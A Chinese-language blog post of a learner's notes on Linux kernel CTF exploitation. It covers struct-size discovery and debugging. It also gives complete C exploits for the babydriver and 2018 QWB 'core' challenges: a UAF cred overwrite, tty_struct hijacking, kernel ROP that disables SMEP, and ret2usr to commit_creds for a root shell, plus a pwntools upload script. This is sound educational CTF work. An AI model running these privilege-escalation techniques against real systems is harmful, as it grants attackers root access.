linux 内核 pwn入门 最近把缺掉的知识一点一点补,面先补全了,然后在进行一方面的深入,涉及了下linux 内核 pwn部分的学习,本来想编写结构体大小生成的代码的,奈何储备知识不够,普通方法太麻烦,现在略过,到时候学会了在补上
找cred结构体大小 读源码 这种方法可以找到,太费力了
kuid跟kgid大小为
/ include /uapi /asm-generic /posix_types.h
可以找到
1 2 3 4 #ifndef __kernel_uid32_t typedef unsigned int __kernel_uid32_t ;typedef unsigned int __kernel_gid32_t ;#endif
atomic_t大小
1 2 3 typedef struct { int counter; } atomic_t ;
kernel_cap_t
1 2 3 4 5 typedef unsigned int __u32;#define _LINUX_CAPABILITY_U32S_3 2 typedef struct kernel_cap_struct { __u32 cap[_KERNEL_CAPABILITY_U32S]; } kernel_cap_t ;
所以就是unsigned int cap[2]
..下次再说吧,这个太麻烦了,找了下
编译文件获取cred结构体大小 如果只需要结果,建议直接翻到最底下看,前面都是出错如何解决而已
下载源码
编译报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 make -C ../linux-4.4.72/ M=/home/noone/Desktop/babydriver/get_cred modules make[1]: Entering directory '/home/noone/Desktop/babydriver/linux-4.4.72' ERROR: Kernel configuration is invalid. include/generated/autoconf.h or include/config/auto.conf are missing. Run 'make oldconfig && make prepare' on kernel src to fix it. WARNING: Symbol version dump ./Module.symvers is missing; modules will have no dependencies and modversions. CC [M] /home/noone/Desktop/babydriver/get_cred/demo.o In file included from <command -line>: ././include/linux/kconfig.h:4:10: fatal error: generated/autoconf.h: No such file or directory 4 |
照着报错做
Run ‘make oldconfig && make prepare’ on kernel src to fix it.
在源码目录下执行命令,一路回车
然后再次编译,继续报错
1 /bin/sh: 1: ./scripts/recordmcount: not found
查找解决方案
报错
1 2 scripts/extract-cert.c:21:10: fatal error: openssl/bio.h: No such file or directory 21 |
解决
1 sudo apt-get install libssl-dev
继续执行
这时候make成功了
然而警告是致命的
1 WARNING: Symbol version dump ./Module.symvers is missing; modules will have no dependenci
这句话让其无法识别
1 insmod: can't insert '/lib/modules/4.4.72/hello.ko': invalid module format
这时候查到解决方案,编译内核
编译完后,运行又报错
1 2 [ 6.539340] hello: disagrees about version of symbol module_layout insmod: can't insert ' /lib/modules/4.4.72/hello.ko': invalid module format
这个…听说关掉检测就行,
Enable loadable module support -> module versioning support
关掉后,编译还是这样…
最终我准备patch babydriver的驱动,让其打印出来,对比我自己编译跟babydriver驱动的时候,我发觉了..
只要编译完就好了,然后反汇编,编译器优化把数值显示出来了…,根本不需要运行了…
好难啊…,一天就搞了这个问题
找tty部分大小 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/cred.h> #include <linux/tty.h> MODULE_LICENSE("Dual BSD/GPL" ); struct cred c1 ;struct tty_struct t1 ;static int hello_init (void ) { printk("size of cred : %d \n" ,sizeof (t1)); printk("size of cred : %d \n" ,sizeof (t1.kref)); printk("size of cred : %d \n" ,sizeof (t1.dev)); printk("size of cred : %d \n" ,sizeof (t1.driver)); printk("size of cred : %d \n" ,sizeof (t1.ops)); return 0 ; } static void hello_exit (void ) { printk("<1> Bye, cruel world\n" ); } module_init(hello_init); module_exit(hello_exit);
这里不改名了,打印tty前面
1 2 3 4 5 6 struct tty_struct { int magic; struct kref kref ; struct device *dev ; struct tty_driver *driver ; const struct tty_operations *ops ;
部分大小
这里可以看到tty整体大小为0x2e0, 到tty_operations为:4+4+16=24=3*8
打印代码一键生成 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pyclibrary import CParserparser = CParser(['./header.h' ]) members = list(parser.defs['variables' ].keys()) print(members) with open("header.h" ) as f: code = f.read() code = code.strip().split("\n" ) result = ''' //put your own header first #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> MODULE_LICENSE("Dual BSD/GPL"); ''' result += code[0 ][:-1 ] + "test;" result += ''' static int hello_init(void) { ''' for member in members: result += " printk(\"{}: %d\", sizeof(test.{}));\n" .format(member, member) result += ''' return 0; } ''' result += ''' static void hello_exit(void) { printk("<1> Bye, cruel world\\n"); } module_init(hello_init); module_exit(hello_exit); ''' print(result)
babydriver 这道题漏洞点在ctf-wiki有详细叙述,具体不说了,我查找cred结构体大小方法在上面也阐述过了,这里直接进入exp编写
uaf改cred 通过man查看ioctl用途
这里可以看到,第一个参数fd为一个打开的文件描述符
第二个参数为一个request code,这里
babyioctl里用的是0x10001
第三个参数为可选参数
第一个文件描述符,我们知道其要与设备交互,看到这里
他注册了一个babydev的设备,所以我们可以打开/dev/babydev下,返回文件描述符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> #include <stdlib.h> #include <sys/wait.h> int main () { int fd1,fd2; fd1 = open("/dev/babydev" , 2 ); fd2 = open("/dev/babydev" , 2 ); ioctl(fd1, 0x10001 , 0xa8 ); close(fd1); pid_t fpid; fpid = fork(); if (fpid < 0 ) { printf ("fork error" ); exit (0 ); } else if (fpid == 0 ) { char buf[29 ]={0 }; write(fd2, buf,28 ); if (getuid() == 0 ) { puts ("root now" ); system("/bin/sh" ); exit (0 ); } } else { wait(NULL ); printf ("pid %d" , fpid); } close(fd2); return 0 ; }
问题总结
在该系统下无法使用printf输出,我用printf结果是没有输出 同时wait函数是关键,没有wait无法成功拿shell wait通常与fork同时出现,这里查阅资料得知
在fork函数执行前,只有一个进程在执行这段代码,在这fork过后,就变成两个进程在执行了,两个进程代码完全相同,将要执行的都是下一句,同时子进程fork的返回值这里也就是fpid跟父进程的fpid不相同, 子进程的fpid为0, 而父进程的fpid为新创建子进程的进程id,所以需要在else阶段阻塞父进程,等待子进程执行完毕过后在继续父进程,不然会直接结束
bypass SMEP ret2usr 为了防止 ret2usr
攻击,内核开发者提出了 smep
保护,smep 全称 Supervisor Mode Execution Protection
,是内核的一种保护措施,作用是当 CPU 处于 ring0
模式时,执行 用户空间的代码
会触发页错误;这个保护在 arm 中被称为 PXN
。
这道题用ropper跑不出gadget,直接卡死了,用ropgadget跑,半分钟不到就跑完了
1 cat g1 | grep '.*: pop rdi ; ret' | head -1
利用正则找gadget
cr4
1 2 3 └──╼ $cat g1 | grep '.*: mov cr4' 0xffffffff8105c085 : mov cr4, rax ; jmp 0xffffffff8105c08d 0xffffffff81004d80 : mov cr4, rdi ; pop rbp ; ret
swapgs
1 2 3 └──╼ $cat g1 | grep '.*: swapgs' 0xffffffff8181bebc : swapgs ; jmp 0xffffffff8181bec4 0xffffffff81063694 : swapgs ; pop rbp ; ret
iretq用ROPgadget无法找到,直接查看汇编
1 2 └──╼ $objdump -S vmlinux | grep iretq ffffffff8181a797: 48 cf iretq
查看smep保护
这里看到了开启了
调试下ROP过程
开头进行栈迁移,这里看到rsp就是pop rdi
有点不一样的是,这里的rop居然跑到了0xff开头的空间里去了,
pop rdi过后将 cr4 设置为0x6f0,关闭smep保护,然后转到用户态执行
就是执行prepare_kernel_cred以及commit_creds
然后通过swapgs恢复gs值
返回到iretq,恢复现场
这里注意几个细节点
为什么攻击tty结构体?
在open(“/dev/ptmx”)的时候会创建tty结构体,而tty结构体里有个tty_operation含有大量函数指针,我们修改其中一个,让其转移到我们伪造的tty结构体上,迁移到ROP链条上攻击
过程?
我们是攻击write函数,在调用write的时候,此时rax刚好为tty_operations的首地址
在for循环的时候,我们设置了mov rsp,rax, 这里就是将栈转移到fake_tty结构体上,
然后此时,在将rsp转移到我们的ROP链上,这时候才开始ROP
必要条件:
我们能够伪造这个tty结构体,这里用了uaf的洞 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 void* fake_tty_operations[30 ]; size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved." ); } void get_shell() { system("/bin/sh" ); } void get_root() { char* (*pkc)(int) = prepare_kernel_cred_addr; void (*cc)(char*) = commit_creds_addr; (*cc)((*pkc)(0 )); } int main() { save_status(); int i = 0 ; size_t rop[32 ] = {0 }; rop[i++] = 0xffffffff810d238d ; // pop rdi; ret; rop[i++] = 0x6f0 ; rop[i++] = 0xffffffff81004d80 ; // mov cr4, rdi; pop rbp; ret; rop[i++] = 0 ; rop[i++] = (size_t)get_root; rop[i++] = 0xffffffff81063694 ; // swapgs; pop rbp; ret; rop[i++] = 0 ; rop[i++] = 0xffffffff814e35ef ; // iretq; ret; rop[i++] = (size_t)get_shell; rop[i++] = user_cs; /* saved CS */ rop[i++] = user_rflags; /* saved EFLAGS */ rop[i++] = user_sp; rop[i++] = user_ss; for (int i = 0 ; i < 30 ; i++) { fake_tty_operations[i] = 0xFFFFFFFF8181BFC5 ; } fake_tty_operations[0 ] = 0xffffffff810635f5 ; //pop rax; pop rbp; ret; fake_tty_operations[1 ] = (size_t)rop; fake_tty_operations[3 ] = 0xFFFFFFFF8181BFC5 ; // mov rsp,rax ; dec ebx ; ret int fd1 = open("/dev/babydev" , O_RDWR); int fd2 = open("/dev/babydev" , O_RDWR); ioctl(fd1, 0x10001 , 0x2e0 ); close(fd1); int fd_tty = open("/dev/ptmx" , O_RDWR|O_NOCTTY); size_t fake_tty_struct[4 ] = {0 }; read(fd2, fake_tty_struct, 32 ); fake_tty_struct[3 ] = (size_t)fake_tty_operations; write(fd2,fake_tty_struct, 32 ); char buf[0x8 ] = {0 }; write(fd_tty, buf, 8 ); return 0 ; }
2018强网杯 core ROP 基地址
这里主要是因为kaslr保护,所以起来后的文件有偏移,动态获取后,得到一个offset,在将静态获取的地址加上这个offset便是真实地址了
fuck rop过程 这里重复的不多说,主要测试下rop过程
这里进入了prepare_kernel_cred
出来后又pop_rdx
执行完cmmit_creds后
然后返回到用户态
然后起shell
这里可以看到
1 2 3 4 5 pop rdx; ret pop rcx; ret mov rdi, rax; call rdx;
这里跟往常不怎么一样,不过原理还是rop,先执行pop rdx,然后执行mov rdi,rax,然后在执行pop ecx, ret
细节点 编译
1 gcc exploit.c -static -masm=intel -g -o exploit
方便调试查看 root启动
1 setsid /bin/cttyhack setuidgid 0 /bin/sh
查看.text
1 cat /sys/modules/core/section/.text
add-symbol-file
1 add-symbol-file ./core.ko /sys/modules/core/section/.text
这样可以带符号下断了
这个让我自己做还是很难的,调试别人exp相对容易些,自己编写感觉暂时做不出
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> void spawn_shell () { if (!getuid()) { system("/bin/sh" ); } else { puts ("[*]spawn shell error!" ); } exit (0 ); } size_t commit_creds = 0 , prepare_kernel_cred = 0 ;size_t raw_vmlinux_base = 0xffffffff81000000 ;size_t vmlinux_base = 0 ;size_t find_symbols(){ FILE* kallsyms_fd = fopen("/tmp/kallsyms" , "r" ); if (kallsyms_fd < 0 ) { puts ("[*]open kallsyms error!" ); exit (0 ); } char buf[0x30 ] = {0 }; while (fgets(buf, 0x30 , kallsyms_fd)) { if (commit_creds & prepare_kernel_cred) return 0 ; if (strstr (buf, "commit_creds" ) && !commit_creds) { char hex[20 ] = {0 }; strncpy (hex, buf, 16 ); sscanf (hex, "%llx" , &commit_creds); printf ("commit_creds addr: %p\n" , commit_creds); vmlinux_base = commit_creds - 0x9c8e0 ; printf ("vmlinux_base addr: %p\n" , vmlinux_base); } if (strstr (buf, "prepare_kernel_cred" ) && !prepare_kernel_cred) { char hex[20 ] = {0 }; strncpy (hex, buf, 16 ); sscanf (hex, "%llx" , &prepare_kernel_cred); printf ("prepare_kernel_cred addr: %p\n" , prepare_kernel_cred); vmlinux_base = prepare_kernel_cred - 0x9cce0 ; } } if (!(prepare_kernel_cred & commit_creds)) { puts ("[*]Error!" ); exit (0 ); } } size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); } void set_off (int fd, long long idx) { printf ("[*]set off to %ld\n" , idx); ioctl(fd, 0x6677889C , idx); } void core_read (int fd, char *buf) { puts ("[*]read to buf." ); ioctl(fd, 0x6677889B , buf); } void core_copy_func (int fd, long long size) { printf ("[*]copy from user with size: %ld\n" , size); ioctl(fd, 0x6677889A , size); } int main () { save_status(); int fd = open("/proc/core" , 2 ); if (fd < 0 ) { puts ("[*]open /proc/core error!" ); exit (0 ); } find_symbols(); ssize_t offset = vmlinux_base - raw_vmlinux_base; set_off(fd, 0x40 ); char buf[0x40 ] = {0 }; core_read(fd, buf); size_t canary = ((size_t *)buf)[0 ]; printf ("[+]canary: %p\n" , canary); size_t rop[0x1000 ] = {0 }; int i; for (i = 0 ; i < 10 ; i++) { rop[i] = canary; } rop[i++] = 0xffffffff81000b2f + offset; rop[i++] = 0 ; rop[i++] = prepare_kernel_cred; rop[i++] = 0xffffffff810a0f49 + offset; rop[i++] = 0xffffffff81021e53 + offset; rop[i++] = 0xffffffff8101aa6a + offset; rop[i++] = commit_creds; rop[i++] = 0xffffffff81a012da + offset; rop[i++] = 0 ; rop[i++] = 0xffffffff81050ac2 + offset; rop[i++] = (size_t )spawn_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd, rop, 0x800 ); core_copy_func(fd, 0xffffffffffff0000 | (0x100 )); return 0 ; }
ret2usr rop过程 直接转到用户态了
到用户态后,在往下直接运行起来了
这里可以看到ret2usr确实是直接返回到用户态执行,commit_creds(prepare_kernel_cred(0)),通过函数指针执行
而常规ROP构造相对复杂些
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdint.h> size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); } void get_shell (void ) { system("/bin/sh" ); } size_t commit_creds = 0 , prepare_kernel_cred = 0 ;size_t raw_vmlinux_base = 0xffffffff81000000 ;size_t vmlinux_base = 0 ;size_t find_symbols(){ FILE* kallsyms_fd = fopen("/tmp/kallsyms" , "r" ); if (kallsyms_fd < 0 ) { puts ("[*]open kallsyms error!" ); exit (0 ); } char buf[0x30 ] = {0 }; while (fgets(buf, 0x30 , kallsyms_fd)) { if (commit_creds & prepare_kernel_cred) return 0 ; if (strstr (buf, "commit_creds" ) && !commit_creds) { char hex[20 ] = {0 }; strncpy (hex, buf, 16 ); sscanf (hex, "%llx" , &commit_creds); printf ("commit_creds addr: %p\n" , commit_creds); vmlinux_base = commit_creds - 0x9c8e0 ; printf ("vmlinux_base addr: %p\n" , vmlinux_base); } if (strstr (buf, "prepare_kernel_cred" ) && !prepare_kernel_cred) { char hex[20 ] = {0 }; strncpy (hex, buf, 16 ); sscanf (hex, "%llx" , &prepare_kernel_cred); printf ("prepare_kernel_cred addr: %p\n" , prepare_kernel_cred); vmlinux_base = prepare_kernel_cred - 0x9cce0 ; } } if (!(prepare_kernel_cred & commit_creds)) { puts ("[*]Error!" ); exit (0 ); } } void get_root () { char * (*pkc)(int ) = prepare_kernel_cred; void (*cc)(char *) = commit_creds; (*cc)((*pkc)(0 )); } void set_off (int fd, long long idx) { printf ("[*]set off to %ld\n" , idx); ioctl(fd, 0x6677889C , idx); } void core_read (int fd, char *buf) { puts ("[*]read to buf." ); ioctl(fd, 0x6677889B , buf); } void core_copy_func (int fd, long long size) { printf ("[*]copy from user with size: %ld\n" , size); ioctl(fd, 0x6677889A , size); } int main (void ) { find_symbols(); size_t offset = vmlinux_base - raw_vmlinux_base; save_status(); int fd = open("/proc/core" ,O_RDWR); set_off(fd, 0x40 ); size_t buf[0x40 /8 ]; core_read(fd, buf); size_t canary = buf[0 ]; printf ("[*]canary : %p\n" , canary); size_t rop[0x30 ] = {0 }; rop[8 ] = canary ; rop[10 ] = (size_t )get_root; rop[11 ] = 0xffffffff81a012da + offset; rop[12 ] = 0 ; rop[13 ] = 0xffffffff81050ac2 + offset; rop[14 ] = (size_t )get_shell; rop[15 ] = user_cs; rop[16 ] = user_rflags; rop[17 ] = user_sp; rop[18 ] = user_ss; puts ("[*] DEBUG: " ); getchar(); write(fd, rop, 0x30 * 8 ); core_copy_func(fd, 0xffffffffffff0000 | (0x100 )); }
2018 0CTF Finals Baby Kernel 占坑,double Fetch,暂时不进行学习
备份上传脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *HOST = "35.221.78.115" PORT = 10022 USER = "pwn" PW = "pwn" def compile () : log.info("Compile" ) os.system("musl-gcc -w -s -static -o3 pwn2.c -o pwn" ) def exec_cmd (cmd) : r.sendline(cmd) r.recvuntil("$ " ) def upload () : p = log.progress("Upload" ) with open("pwn" , "rb" ) as f: data = f.read() encoded = base64.b64encode(data) r.recvuntil("$ " ) for i in range(0 , len(encoded), 300 ): p.status("%d / %d" % (i, len(encoded))) exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300 ])) exec_cmd("cat benc | base64 -d > bout" ) exec_cmd("chmod +x bout" ) p.success() def exploit (r) : compile() upload() r.interactive() return if __name__ == "__main__" : if len(sys.argv) > 1 : session = ssh(USER, HOST, PORT, PW) r = session.run("/bin/sh" ) exploit(r) else : r = process("./startvm.sh" ) print util.proc.pidof(r) pause() exploit(r)
总结 改cred结构体大小感觉相对利用简单一些,我做的时候,难点在于获取cred结构体大小,具体过程已经记录下来了 改tty结构体,也就是改函数指针,这个也需要计算结构体大小,已经覆盖部分大小,具体也是通过编译文件直接获得,我这里 ret2usr这种方法构造的rop链相对简单一些,在内核态进行ROP的过程稍微复杂一些 smep保护是可以关闭的 内核pwn的exp编写相对复杂一些,用纯c编写,这个过程我具体只做了babydriver那题的cred部分,这个还让我学了下fork以及wait 参考 ctf-wiki
本文作者 :NoOne本文地址 : https://noonegroup.xyz/posts/1b0c54c5/ 版权声明 :转载请注明出处!